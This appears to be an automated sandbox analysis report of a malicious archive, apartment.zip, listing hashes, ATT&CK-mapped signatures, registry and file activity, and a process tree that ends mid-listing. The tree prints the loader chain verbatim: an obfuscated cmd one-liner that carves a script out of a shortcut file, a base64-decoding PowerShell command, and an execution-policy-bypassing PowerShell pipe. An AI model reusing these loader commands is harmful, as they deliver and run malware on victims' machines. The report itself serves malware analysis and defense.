194742d59dacc09a04a398be2f1de1403b65e2ab7028a5125bd1b3d4f55f31c0

Resubmissions

22/07/2026, 09:35

260722-lkjggssemb8

22/07/2026, 09:21

260722-lbbehssdla8

Analysis

user interaction
yes
max time kernel
630s
max time network
631s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/07/2026, 09:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
apartment.zip
Size 313KB
Sample260722-lbbehssdla
SHA256 194742d59dacc09a04a398be2f1de1403b65e2ab7028a5125bd1b3d4f55f31c0
MD5 f9bc364d90ce3068857255f9d728ba6e
SHA1 2556c885d1f59017a26d4ab8c8ad01d474e6e507
SHA512 43f2c5a6224d3865fc67ecf7bb84791b9aa01ffaab33a36f54c423cc4120eb9c8bf13b4e68c2d9f8667069daa6d46104c3475cede2a687a5a71b851725995409
SSDEEP 6144:l9cPfRPXe/NqgoOyYeXFl3lXK8RhotTVpIq9gA3HA:cPU/Nqgose1dABIU73HA
TLSH
T1F86423783DEE046E4065DE6DE0A67231DEE83724B564D7AB69E34A0C078CF364F0951B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 64 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
127	3156	powershell.exe
132	3156	powershell.exe
144	3156	powershell.exe
145	3156	powershell.exe
146	3156	powershell.exe
150	3156	powershell.exe
155	3156	powershell.exe
159	3156	powershell.exe
160	3156	powershell.exe
161	3156	powershell.exe
162	3156	powershell.exe
163	3156	powershell.exe
164	3156	powershell.exe
165	3156	powershell.exe
166	3156	powershell.exe
167	3156	powershell.exe
168	3156	powershell.exe
169	3156	powershell.exe
170	3156	powershell.exe
171	3156	powershell.exe
172	3156	powershell.exe
173	3156	powershell.exe
174	3156	powershell.exe
175	3156	powershell.exe
176	3156	powershell.exe
177	3156	powershell.exe
179	3156	powershell.exe
180	3156	powershell.exe
181	3156	powershell.exe
182	3156	powershell.exe
183	3156	powershell.exe
184	3156	powershell.exe
185	3156	powershell.exe
186	3156	powershell.exe
187	3156	powershell.exe
188	3156	powershell.exe
189	3156	powershell.exe
190	3156	powershell.exe
191	3156	powershell.exe
192	3156	powershell.exe
193	3156	powershell.exe
194	3156	powershell.exe
195	3156	powershell.exe
196	3156	powershell.exe
197	3156	powershell.exe
198	3156	powershell.exe
199	3156	powershell.exe
200	3156	powershell.exe
201	3156	powershell.exe
202	3156	powershell.exe
203	3156	powershell.exe
204	3156	powershell.exe
205	3156	powershell.exe
206	3156	powershell.exe
207	3156	powershell.exe
208	3156	powershell.exe
209	3156	powershell.exe
210	3156	powershell.exe
211	3156	powershell.exe
212	3156	powershell.exe
213	3156	powershell.exe
214	3156	powershell.exe
215	3156	powershell.exe
216	3156	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3092	powershell.exe
412	powershell.exe
3156	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3156 set thread context of 2236	3156	powershell.exe	159
PID 3156 set thread context of 1260	3156	powershell.exe	167

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-ec\ru\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification\sv\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\wallet-crypto.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\wallet-webui-227.bb2c3c84778e2589775f.chunk.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_503045112\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\manifest.webapp.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\Notification\notification.bundle.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification\ko\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-shared-components\fr-CA\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_1099460767\edge_driver.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_39442865\typosquatting_list.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-ec\hu\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-hub\en-GB\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_1865313419\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-hr.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-mobile-hub\fr\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification-shared\ru\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-shared-components\zh-Hans\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-tokenized-card\pt-PT\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-tokenized-card\sv\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\wallet\wallet-tokenization-config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-ec\pt-PT\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification-shared\el\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\Notification\notification_fast.bundle.js.LICENSE.txt	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-gu.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\bnpl\bnpl.bundle.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-ec\fi\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification\zh-Hant\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-tokenized-card\ar\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-pt.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-shared-components\ja\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-tokenized-card\ru\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\wallet-webui-992.268aa821c3090dce03cb.chunk.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification\fr-CA\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification\pt-BR\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\Wallet-Checkout\load-ec-deps.bundle.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-lt.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-pa.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_1099460767\shopping_iframe_driver.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\wallet\super_coupon.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\Wallet-Checkout\app-setup.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\wallet-webui-792.b1180305c186d50631a2.chunk.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_503045112\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-el.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-ml.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-ec\ar\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification\nl\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-shared-components\pl\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-la.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_1329120129\Part-FR	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-ec\fr-CA\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-mobile-hub\it\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-notification-shared\pt-BR\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\wallet\wallet-checkout\merchant-site-info.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\wallet\wallet-stable.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-eu.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_552619392\hyph-hu.hyb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_1329120129\Filtering Rules-CA	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-mobile-hub\pt-PT\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-shared-components\pt-BR\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\Wallet-BuyNow\wallet-buynow.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-shared-components\id\strings.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping4528_2042342174\json\i18n-tokenized-card\zh-Hans\strings.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5328	cmd.exe
2188	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4084	msedge.exe
1584	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134291857026993161"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{51DF2BF9-8F7C-4F7B-920F-B8F728316272}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{6F09FB64-47AA-415A-ADF5-04575BF60702}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3092	powershell.exe
3092	powershell.exe
412	powershell.exe
412	powershell.exe
3156	powershell.exe
3156	powershell.exe
4528	msedge.exe
4528	msedge.exe
5636	msedge.exe
5636	msedge.exe
3156	powershell.exe
3156	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3608	msedge.exe
3608	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	412	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3608	msedge.exe
3608	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5744 wrote to memory of 5328	5744	conhost.EXE	97
PID 5328 wrote to memory of 2188	5328	cmd.exe	98
PID 2188 wrote to memory of 996	2188	cmd.exe	99
PID 5328 wrote to memory of 5476	5328	cmd.exe	100
PID 5328 wrote to memory of 5956	5328	cmd.exe	101
PID 5328 wrote to memory of 3092	5328	cmd.exe	102
PID 5328 wrote to memory of 3232	5328	cmd.exe	103
PID 5328 wrote to memory of 412	5328	cmd.exe	105
PID 412 wrote to memory of 3156	412	powershell.exe	106
PID 4420 wrote to memory of 5628	4420	explorer.exe	107
PID 5628 wrote to memory of 3608	5628	msedge.exe	109
PID 3608 wrote to memory of 456	3608	msedge.exe	110
PID 3608 wrote to memory of 4084	3608	msedge.exe	111
PID 3608 wrote to memory of 1004	3608	msedge.exe	112
PID 3608 wrote to memory of 1004	3608	msedge.exe	112
PID 3608 wrote to memory of 1004	3608	msedge.exe	112
PID 3608 wrote to memory of 4744	3608	msedge.exe	113
PID 3608 wrote to memory of 4744	3608	msedge.exe	113
PID 3608 wrote to memory of 3916	3608	msedge.exe	115
PID 3608 wrote to memory of 3916	3608	msedge.exe	115
PID 3608 wrote to memory of 5096	3608	msedge.exe	116
PID 3608 wrote to memory of 3916	3608	msedge.exe	115
PID 3608 wrote to memory of 5096	3608	msedge.exe	116
PID 3608 wrote to memory of 5096	3608	msedge.exe	116
PID 3608 wrote to memory of 1524	3608	msedge.exe	120
PID 3608 wrote to memory of 1524	3608	msedge.exe	120
PID 3608 wrote to memory of 704	3608	msedge.exe	121
PID 3608 wrote to memory of 704	3608	msedge.exe	121
PID 3608 wrote to memory of 5556	3608	msedge.exe	123
PID 3608 wrote to memory of 4528	3608	msedge.exe	136
PID 4528 wrote to memory of 5404	4528	msedge.exe	137
PID 4528 wrote to memory of 1584	4528	msedge.exe	139
PID 4528 wrote to memory of 1756	4528	msedge.exe	140
PID 4528 wrote to memory of 1756	4528	msedge.exe	140
PID 4528 wrote to memory of 1756	4528	msedge.exe	140
PID 4528 wrote to memory of 5040	4528	msedge.exe	141
PID 4528 wrote to memory of 5040	4528	msedge.exe	141
PID 4528 wrote to memory of 6004	4528	msedge.exe	144
PID 4528 wrote to memory of 5928	4528	msedge.exe	145
PID 4528 wrote to memory of 4932	4528	msedge.exe	146
PID 4528 wrote to memory of 4980	4528	msedge.exe	147
PID 4528 wrote to memory of 6108	4528	msedge.exe	151
PID 4528 wrote to memory of 6108	4528	msedge.exe	151
PID 4528 wrote to memory of 1072	4528	msedge.exe	152
PID 4528 wrote to memory of 1072	4528	msedge.exe	152
PID 4528 wrote to memory of 4516	4528	msedge.exe	153
PID 4528 wrote to memory of 4516	4528	msedge.exe	153
PID 4528 wrote to memory of 5636	4528	msedge.exe	154
PID 4528 wrote to memory of 5372	4528	msedge.exe	155
PID 4528 wrote to memory of 5372	4528	msedge.exe	155
PID 4528 wrote to memory of 4524	4528	msedge.exe	156
PID 4528 wrote to memory of 4524	4528	msedge.exe	156
PID 4528 wrote to memory of 2620	4528	msedge.exe	157
PID 4528 wrote to memory of 2620	4528	msedge.exe	157
PID 4528 wrote to memory of 1808	4528	msedge.exe	158
PID 4528 wrote to memory of 1808	4528	msedge.exe	158
PID 3156 wrote to memory of 2236	3156	powershell.exe	159
PID 3156 wrote to memory of 2236	3156	powershell.exe	159
PID 3156 wrote to memory of 2236	3156	powershell.exe	159
PID 3156 wrote to memory of 2236	3156	powershell.exe	159
PID 3156 wrote to memory of 2236	3156	powershell.exe	159
PID 3156 wrote to memory of 2236	3156	powershell.exe	159
PID 3156 wrote to memory of 2236	3156	powershell.exe	159
PID 3156 wrote to memory of 2236	3156	powershell.exe	159

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\apartment.zip
1⤵
PID:896

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:520

C:\Windows\system32\conhost.EXE
"C:\Windows\system32\conhost.EXE" --headless C:\Windows\system32\cmd.exe /v /c set k=%cd%\gallery_2026.lnk&set f=r&set k=""""!k!""""&set k=!k:~1,-2!!k:~-1!&(if not exist "!k!" (for /f delims^=^ eol^= %g in ('whe^!f!e /R "C:\Users\Admin\AppData\Local\Temp" "gallery_2026.ln?"') do @set k=%g)>nul 2>&1)&cd /d !localappdata!&mo^!f!e +1065 "!k!">"pwvb.cmD"&pwvb
1⤵
- Suspicious use of WriteProcessMemory
PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /v /c set k=%cd%\gallery_2026.lnk&set f=r&set k=\"!k!\"&set k=!k:~1,-2!!k:~-1!&(if not exist !k! (for /f delims^=^ eol^= %g in ('whe^!f!e /R C:\Users\Admin\AppData\Local\Temp gallery_2026.ln?') do @set k=%g)>nul 2>&1)&cd /d !localappdata!&mo^!f!e +1065 !k!>pwvb.cmD&pwvb
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c where /R C:\Users\Admin\AppData\Local\Temp gallery_2026.ln?
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\system32\where.exe
      where /R C:\Users\Admin\AppData\Local\Temp gallery_2026.ln?
      4⤵
      PID:996
- - C:\Windows\system32\more.com
    more +1065 C:\Users\Admin\AppData\Local\Temp\Temp1_apartment.zip\gallery_2026.lnk
    3⤵
    PID:5476
- - C:\Windows\system32\findstr.exe
    findstr /b /l /C:"CjwhRE9DVFlQRSBodG1sPgo8a" "C:\Users\Admin\AppData\Local\pwvb.cmD"
    3⤵
    PID:5956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b64 = Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\dh.txt';$b64 = -join ($b64 -split '[^A-Za-z0-9+/=]');[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\cert.crt', [Convert]::FromBase64String($b64))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3092
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\wdvllnq.html"
    3⤵
    PID:3232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\pwvb.cmD') | powershell -Command -"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command -
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3156
    - - C:\Windows\system32\wbem\wmiprvse.exe
        
        C:\Windows\system32\wbem\wmiprvse.exe -Embedding
        5⤵
        
        PID:2236
    - - C:\Windows\system32\wbem\wmiprvse.exe
        
        C:\Windows\system32\wbem\wmiprvse.exe -Embedding
        5⤵
        
        PID:1260

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\wdvllnq.html
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument C:\Users\Admin\AppData\Local\Temp\wdvllnq.html
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2f0,0x7ff8bf19c188,0x7ff8bf19c194,0x7ff8bf19c1a0
      4⤵
      PID:456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,8322958680811570177,3493051886516030778,524288 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:3
      4⤵
      System Time Discovery
      PID:4084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,3086860157356673389,10536253513348053845,262144 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:2
      4⤵
      PID:1004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2476,i,8112364711618487840,3866277310165940865,524288 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=2472 /prefetch:8
      4⤵
      PID:4744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3408,i,4370493375138137208,5022365960588470035,2097152 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
      4⤵
      PID:3916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3412,i,12992662774772631222,15075259891016887146,2097152 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
      4⤵
      PID:5096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4812,i,11084305716207472438,3552902163986393184,524288 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:8
      4⤵
      PID:1524
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4884,i,174608895472783752,15865055104205171661,524288 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:8
      4⤵
      PID:704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,14849693936946801274,18166955295192554623,524288 --field-trial-handle=2268,i,3690381486097475459,10621729280158473388,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:8
      4⤵
      PID:4404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
